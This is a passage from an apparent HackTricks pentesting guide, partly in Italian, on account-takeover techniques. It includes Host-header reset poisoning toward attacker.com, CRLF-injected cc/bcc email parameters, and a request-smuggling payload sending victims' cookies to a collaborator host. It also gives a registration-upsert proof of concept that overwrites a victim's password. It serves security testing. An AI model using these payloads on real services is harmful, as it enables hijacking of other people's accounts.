def handleResponse(req, interesting): if req.status != 401 and b’Invalid’ not in req.response: table.add(req)

</details>

- Try racing verification: submit the same valid OTP simultaneously in two sessions; sometimes one session becomes a verified attacker account while the victim flow also succeeds.
- Also test Host header poisoning on verification links (same as reset poisoning below) to leak or complete verification on attacker controlled host.

<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>

<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>

<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>

## Account Pre‑Hijacking Techniques (before the victim signs up)

A powerful class of issues occurs when an attacker performs actions on the victim’s email before the victim creates their account, then regains access later.

Key techniques to test (adapt to the target’s flows):

- Classic–Federated Merge
- Attacker: registers a classic account with victim email and sets a password
- Victim: later signs up with SSO (same email)
- Insecure merges may leave both parties logged in or resurrect the attacker’s access
- Unexpired Session Identifier
- Attacker: creates account and holds a long‑lived session (don’t log out)
- Victim: recovers/sets password and uses the account
- Test if old sessions stay valid after reset or MFA enablement
- Trojan Identifier
- Attacker: adds a secondary identifier to the pre‑created account (phone, additional email, or links attacker’s IdP)
- Victim: resets password; attacker later uses the trojan identifier to reset/login
- Unexpired Email Change
- Attacker: initiates email‑change to attacker mail and withholds confirmation
- Victim: recovers the account and starts using it
- Attacker: later completes the pending email‑change to steal the account
- Non‑Verifying IdP
- Attacker: uses an IdP that does not verify email ownership to assert `victim@…`
- Victim: signs up via classic route
- Service merges on email without checking `email_verified` or performing local verification

Practical tips

- Harvest flows and endpoints from web/mobile bundles. Look for classic signup, SSO linking, email/phone change, and password reset endpoints.
- Create realistic automation to keep sessions alive while you exercise other flows.
- For SSO tests, stand up a test OIDC provider and issue tokens with `email` claims for the victim address and `email_verified=false` to check if the RP trusts unverified IdPs.
- After any password reset or email change, verify that:
- all other sessions and tokens are invalidated,
- pending email/phone change capabilities are cancelled,
- previously linked IdPs/emails/phones are re‑verified.

Note: Extensive methodology and case studies of these techniques are documented by Microsoft’s pre‑hijacking research (see References at the end).

<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>

<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>

## **Password Reset Takeover**

### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>

1. Request password reset to your email address
2. Click on the password reset link
3. Don’t change password
4. Click any 3rd party websites(eg: Facebook, twitter)
5. Intercept the request in Burp Suite proxy
6. Check if the referer header is leaking password reset token.

### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>

1. Intercept the password reset request in Burp Suite
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Forward the request with the modified header\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Look for a password reset URL based on the _host header_ like : `https://attacker.com/reset-password.php?token=TOKEN`

### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR on API Parameters

1. L’attaccante deve effettuare il login con il proprio account e andare alla funzionalità Change password.
2. Avvia Burp Suite e intercetta la richiesta
3. Invia la richiesta al tab repeater e modifica i parametri : User ID/email
   powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Weak Password Reset Token

Il password reset token dovrebbe essere generato in modo casuale e unico ogni volta.
Prova a determinare se il token scade o se è sempre lo stesso; in alcuni casi l’algoritmo di generazione è debole e può essere indovinato. Le seguenti variabili potrebbero essere usate dall’algoritmo.

• Timestamp
• UserID
• Email dell’utente
• Nome e Cognome
• Data di nascita
• Crittografia
• Solo numeri
• Sequenza di token corta ( caratteri tra [A-Z,a-z,0-9])
• Riutilizzo del token
• Data di scadenza del token

Leaking Password Reset Token

1. Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com
2. Ispeziona la risposta del server e verifica la presenza di resetToken
3. Poi usa il token in un URL come https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Password Reset Via Username Collision

1. Registrati sul sistema con uno username identico a quello della vittima, ma con spazi inseriti prima e/o dopo lo username. e.g: "admin "
2. Richiedi un password reset con il tuo username maligno.
3. Usa il token inviato alla tua email e resetta la password della vittima.
4. Accedi all’account della vittima con la nuova password.

La piattaforma CTFd era vulnerabile a questo attacco.
See: CVE-2020-7245

Account Takeover Via Cross Site Scripting

1. Trova una XSS dentro l’applicazione o in un sottodominio se i cookie sono scoped al dominio padre : *.domain.com
2. Leak il cookie di sessione corrente sessions cookie
3. Autenticati come l’utente usando il cookie

Account Takeover Via HTTP Request Smuggling

1. Usa smuggler per rilevare il tipo di HTTP Request Smuggling (CL, TE, CL.TE)
   powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\
2. Crea una richiesta che sovrascriva il POST / HTTP/1.1 con i seguenti dati:
   GET http://something.burpcollaborator.net HTTP/1.1 X: con l’obiettivo di aprire un redirect delle vittime verso burpcollab e rubare i loro cookie\
3. La richiesta finale potrebbe apparire come la seguente

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone segnala lo sfruttamento di questo bug\

• https://hackerone.com/reports/737140\
• https://hackerone.com/reports/771666

Account Takeover via CSRF

1. Crea un payload per il CSRF, e.g: “HTML form with auto submit for a password change”
2. Invia il payload

Account Takeover via JWT

JSON Web Token might be used to authenticate an user.

• Modifica il JWT con un altro User ID / Email
• Verifica la presenza di una firma JWT debole

JWT Vulnerabilities (Json Web Tokens)

Registration-as-Reset (Upsert on Existing Email)

Alcuni signup handler eseguono un upsert quando l’email fornita esiste già. Se l’endpoint accetta un body minimale con un’email e una password e non impone la verifica di proprietà, inviare l’email della vittima sovrascriverà la sua password pre-auth.

• Discovery: raccogli i nomi degli endpoint dal JS incluso (o dal traffico dell’app mobile), poi fuzz i base paths come /parents/application/v4/admin/FUZZ usando ffuf/dirsearch.
• Suggerimenti sul metodo: una GET che restituisce messaggi come “Only POST request is allowed.” spesso indica il verbo corretto e che viene atteso un body JSON.
• Body minimo osservato in the wild:

{"email":"victim@example.com","password":"New@12345"}

Esempio PoC:

POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Impatto: Full Account Takeover (ATO) senza alcun reset token, OTP o verifica via email.

Riferimenti

• How I Found a Critical Password Reset Bug (Registration upsert ATO)
• Microsoft MSRC – Pre‑hijacking attacks on web user accounts (May 2022)
• https://salmonsec.com/cheatsheet/account_takeover
• Hey there! You are using WhatsApp: Enumerating Three Billion Accounts for Security and Privacy (NDSS 2026 paper & dataset)

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

• Controlla i piani di abbonamento!
• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
• Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.